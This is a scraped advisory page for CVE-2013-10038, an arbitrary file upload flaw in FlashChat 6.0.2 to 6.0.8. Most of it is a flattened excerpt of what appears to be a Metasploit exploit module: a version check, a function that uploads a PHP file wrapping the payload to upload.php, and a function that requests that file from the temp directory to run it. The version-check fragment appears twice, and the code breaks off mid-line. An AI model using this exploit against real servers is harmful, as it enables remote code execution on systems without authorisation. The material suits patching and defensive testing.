CVE-2013-10038

FlashChat Arbitrary File Upload RCE | Advisories | VulnCheck

Just a moment

FlashChat 6.0.2 < 6.0.8 - Arbitrary File Upload - PHP webapps Exploit

FlashChat v([\d\.]+)/).flatten[0] || '' if version.empty? return Exploit::CheckCode::Unknown('Could not determine the target status') end vprint_status("Version found: #{version}") if version =~ /6\.0\.(2|4|5|6|7|8)/ return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable") elsif version <= "6.0.8" return Exploit::CheckCode::Detected("Detected version #{version}") else return Exploit::CheckCode::Safe("Version #{version} i...

FlashChat v([\d\.]+)/).flatten[0] || '' if version.empty? return Exploit::CheckCode::Unknown('Could not determine the target status') end vprint_status("Version found: #{version}") if version =~ /6\.0\.(2|4|5|6|7|8)/ return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable") elsif version <= "6.0.8" return Exploit::CheckCode::Detected("Detected version #{version}") else return Exploit::CheckCode::Safe("Version #{version} is not vulnerable") end end # # Uploads our malicious file # Stolen from havalite_upload_exec.rb # def upload(base) fname = "#{rand_text_alphanumeric(rand(10) + 6)}.php" php = "<?php #{payload.encoded} ?>" data = Rex::MIME::Message.new data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"") post_data = data.to_s res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(base, 'upload.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if not res fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") elsif res.code.to_i == 404 fail_with(Failure::NotFound, "#{peer} - No upload.php found") elsif res.code.to_i == 500 fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}") end return fname end # # Executes our uploaded malicious file # Stolen from havalite_upload_exec.rb # def exec(base, payload_fname) res = send_request_raw({ 'uri' => normalize_uri(base, 'temp', payload_fname) }) if res and res.code == 404 fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}") end end def exploit base = target_uri.path # upload print_status("Uploading malicious file...") fname = upload(base) # register the file to clean register_files_for_cleanup(fname) # exec print_status("...